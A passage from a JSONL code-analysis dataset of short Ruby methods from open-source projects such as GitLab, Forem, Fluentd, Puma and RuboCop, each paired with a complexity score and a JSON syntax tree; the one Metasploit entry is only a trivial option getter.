end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"with_nesting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@depth\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_deep?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TooMuchDataError\"]}]},null]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@depth\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"2c915361-41c9-4047-86c6-f5ff5091badc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/stages.rb","start_line":37,"raw_source":"def extract_stages\n stages = config[:stages]\n return [] unless stages.is_a?(Array)\n\n stages\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_stages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stages\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stages\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"stages\"]}]}]}","id":"42a298b5-6549-4235-b929-9d1a655de7ca"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/issues_resolver.rb","start_line":42,"raw_source":"def resolve_with_lookahead(**args)\n issues = apply_lookahead(\n IssuesFinder.new(current_user, prepare_finder_params(args)).execute\n )\n\n if non_stable_cursor_sort?(args[:sort])\n # Certain complex sorts are not supported by the stable cursor pagination yet.\n # In these cases, we use offset pagination, so we return the correct connection.\n offset_pagination(issues)\n else\n issues\n end\n end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issues\",{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssuesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"prepare_finder_params\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"execute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_stable_cursor_sort?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"send\",\"children\":[null,\"offset_pagination\",{\"type\":\"lvar\",\"children\":[\"issues\"]}]},{\"type\":\"lvar\",\"children\":[\"issues\"]}]}]}]}","id":"16f7d25c-6ce7-4b4c-b50b-069e751c1295"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/ci/update_build_names_worker.rb","start_line":13,"raw_source":"def perform(pipeline_id)\n Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|\n Ci::UpdateBuildNamesService.new(pipeline).execute\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"pipeline_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"UpdateBuildNamesService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},\"execute\"]}]}]}","id":"05929f32-2213-4739-8e10-7d12b1436387"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/mappings/partial_to_views_mappings.rb","start_line":17,"raw_source":"def execute\n views_including_modified_partials = []\n\n views_globs = view_base_folders.map { |view_base_folder| \"#{view_base_folder}/**/*.html.haml\" }\n Dir[*views_globs].each do |view_file|\n included_partial_names = find_pattern_in_file(view_file, partials_keywords_regexp)\n next if included_partial_names.empty?\n\n included_partial_names.each do |included_partial_name|\n if view_includes_modified_partial?(view_file, included_partial_name)\n views_including_modified_partials << view_file\n end\n end\n end\n\n views_including_modified_partials\n end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"views_including_modified_partials\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"views_globs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view_base_folders\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_base_folder\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_base_folder\"]}]},{\"type\":\"str\",\"children\":[\"/**/*.html.haml\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"views_globs\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"included_partial_names\",{\"type\":\"send\",\"children\":[null,\"find_pattern_in_file\",{\"type\":\"lvar\",\"children\":[\"view_file\"]},{\"type\":\"send\",\"children\":[null,\"partials_keywords_regexp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included_partial_names\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included_partial_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"included_partial_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view_includes_modified_partial?\",{\"type\":\"lvar\",\"children\":[\"view_file\"]},{\"type\":\"lvar\",\"children\":[\"included_partial_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"views_including_modified_partials\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"view_file\"]}]},null]}]}]}]},{\"type\":\"lvar\",\"children\":[\"views_including_modified_partials\"]}]}]}","id":"e660b77d-d0cd-4178-b809-7a726bd30b9f"} {"repo_name":"forem","file_path":"./repos/forem/app/services/segmented_users/bulk_upsert.rb","start_line":69,"raw_source":"def build_records(user_ids_batch)\n user_ids_batch.map do |user_id|\n {\n audience_segment_id: audience_segment.id,\n user_id: user_id,\n created_at: upsert_time,\n updated_at: upsert_time\n }\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_ids_batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids_batch\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"audience_segment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"upsert_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[null,\"upsert_time\"]}]}]}]}]}","id":"984c11fd-01e1-446a-a3d0-e7e7414a5214"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":512,"raw_source":"def worker_cmdline\n # Attempt to find the plugin where the class lives then default to\n # the application root\n engine = Vmdb::Plugins.plugin_for_class(self.class) || Rails\n\n worker_type = self.class.module_parent.name.split(\"::\").last.underscore\n engine.root.join(\"workers/#{worker_type}/worker\").to_s\n end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"worker_cmdline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"engine\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vmdb\"]},\"Plugins\"]},\"plugin_for_class\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"const\",\"children\":[null,\"Rails\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"worker_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"module_parent\"]},\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"last\"]},\"underscore\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]},\"join\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"workers/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_type\"]}]},{\"type\":\"str\",\"children\":[\"/worker\"]}]}]},\"to_s\"]}]}]}","id":"5c44fb30-f18e-40b3-bcfa-24b0e1ea05ea"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/output.rb","start_line":1354,"raw_source":"def retry_state(randomize)\n if @secondary\n retry_state_create(\n :output_retries, @buffer_config.retry_type, @buffer_config.retry_wait, @buffer_config.retry_timeout,\n forever: @buffer_config.retry_forever, max_steps: @buffer_config.retry_max_times, backoff_base: @buffer_config.retry_exponential_backoff_base,\n max_interval: @buffer_config.retry_max_interval,\n secondary: true, secondary_threshold: @buffer_config.retry_secondary_threshold,\n randomize: randomize\n )\n else\n retry_state_create(\n :output_retries, @buffer_config.retry_type, @buffer_config.retry_wait, @buffer_config.retry_timeout,\n forever: @buffer_config.retry_forever, max_steps: @buffer_config.retry_max_times, backoff_base: @buffer_config.retry_exponential_backoff_base,\n max_interval: @buffer_config.retry_max_interval,\n randomize: randomize\n )\n end\n end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"retry_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"randomize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@secondary\"]},{\"type\":\"send\",\"children\":[null,\"retry_state_create\",{\"type\":\"sym\",\"children\":[\"output_retries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_timeout\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"forever\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_forever\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_steps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_max_times\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backoff_base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_exponential_backoff_base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_max_interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secondary\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secondary_threshold\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_secondary_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"randomize\"]},{\"type\":\"lvar\",\"children\":[\"randomize\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"retry_state_create\",{\"type\":\"sym\",\"children\":[\"output_retries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_timeout\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"forever\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_forever\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_steps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_max_times\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"backoff_base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_exponential_backoff_base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"retry_max_interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"randomize\"]},{\"type\":\"lvar\",\"children\":[\"randomize\"]}]}]}]}]}]}","id":"27589ea4-a729-42f8-a068-431293876368"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/error_tracking_issue_link_worker.rb","start_line":50,"raw_source":"def sentry_issue_id\n strong_memoize(:sentry_issue_id) do\n issue.sentry_issue.sentry_issue_identifier\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sentry_issue_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"sentry_issue_id\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"sentry_issue\"]},\"sentry_issue_identifier\"]}]}]}","id":"ee18b4ad-d555-43fa-a03a-754a69f20eaf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/oats_weblogic_console.rb","start_line":85,"raw_source":"def default_oats_path\n datastore['DefaultOatsPath']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_oats_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DefaultOatsPath\"]}]}]}","id":"92b3ce74-d3b6-4eac-952b-de7f6c6fc921"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/timelogs/timelogs_finder.rb","start_line":79,"raw_source":"def times_provided?\n params[:start_time] && params[:end_time]\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"times_provided?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_time\"]}]}]}]}","id":"dae91b10-5b48-4ada-b954-ad8f034dfe68"} {"repo_name":"puma","file_path":"./repos/puma/test/test_response_header.rb","start_line":73,"raw_source":"def assert_ignore_header(name, value, opts={})\n header = { name => value }\n\n if opts[:early_hints]\n app = ->(env) do\n env['rack.early_hints'].call(header)\n [200, {}, ['Hello']]\n end\n else\n app = -> (env) { [200, header, ['hello']]}\n end\n\n server_run(app: app, early_hints: opts[:early_hints])\n data = send_http_and_read \"GET / HTTP/1.0\\r\\n\\r\\n\"\n\n if opts[:early_hints]\n refute_includes data, \"HTTP/1.1 103 Early Hints\"\n end\n\n refute_includes data, \"#{name}: #{value}\"\n end","complexity_score":20.13,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_ignore_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"early_hints\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.early_hints\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"header\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"lvar\",\"children\":[\"header\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hello\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"server_run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app\"]},{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"early_hints\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"early_hints\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"send_http_and_read\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.0\\r\\n\\r\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"early_hints\"]}]},{\"type\":\"send\",\"children\":[null,\"refute_includes\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"HTTP/1.1 103 Early Hints\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"refute_includes\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"8652d147-e6f4-4182-b2af-394956582f9d"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/lsp/routes.rb","start_line":209,"raw_source":"def format_file(file_uri, command: nil)\n unless (text = @text_cache[file_uri])\n Logger.log(\"Format request arrived before text synchronized; skipping: `#{file_uri}'\")\n\n return []\n end\n\n new_text = @server.format(convert_file_uri_to_path(file_uri), text, command: command)\n\n return [] if new_text == text\n\n [\n newText: new_text,\n range: {\n start: { line: 0, character: 0 },\n end: { line: text.count(\"\\n\") + 1, character: 0 }\n }\n ]\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"format_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_uri\"]},{\"type\":\"kwoptarg\",\"children\":[\"command\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"file_uri\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Format request arrived before text synchronized; skipping: `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_uri\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_text\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"format\",{\"type\":\"send\",\"children\":[null,\"convert_file_uri_to_path\",{\"type\":\"lvar\",\"children\":[\"file_uri\"]}]},{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_text\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"newText\"]},{\"type\":\"lvar\",\"children\":[\"new_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"character\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"count\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"character\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}]}]}","id":"43f1a326-79ae-4402-96b0-e7498642654e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/concerns/mutations/resolves_resource_parent.rb","start_line":35,"raw_source":"def find_object(project_path: nil, group_path: nil)\n if group_path.present?\n resolve_group(full_path: group_path)\n else\n resolve_project(full_path: project_path)\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_object\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"project_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_path\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"resolve_group\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"lvar\",\"children\":[\"group_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]}]}]}]}","id":"18eb4d80-2d28-434e-8dd4-e0940956780b"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/email_templates_finder.rb","start_line":21,"raw_source":"def check(obj, path)\n obj.each do |key, val|\n if Hash === val\n next_path = \"#{path}#{key}\"\n if val.key?(\"text_body_template\") && val.key?(\"subject_template\")\n @list << next_path.sub(\"en.\", \"\")\n else\n check(val, \"#{next_path}.\")\n end\n end\n end\n end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"key?\",{\"type\":\"str\",\"children\":[\"text_body_template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"key?\",{\"type\":\"str\",\"children\":[\"subject_template\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@list\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_path\"]},\"sub\",{\"type\":\"str\",\"children\":[\"en.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_path\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]},null]}]}]}","id":"a95eb9cc-44f8-477d-9e7d-56e9c727bdc6"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/search_controller.rb","start_line":201,"raw_source":"def listing_params\n params.permit(LISTINGS_PARAMS)\n 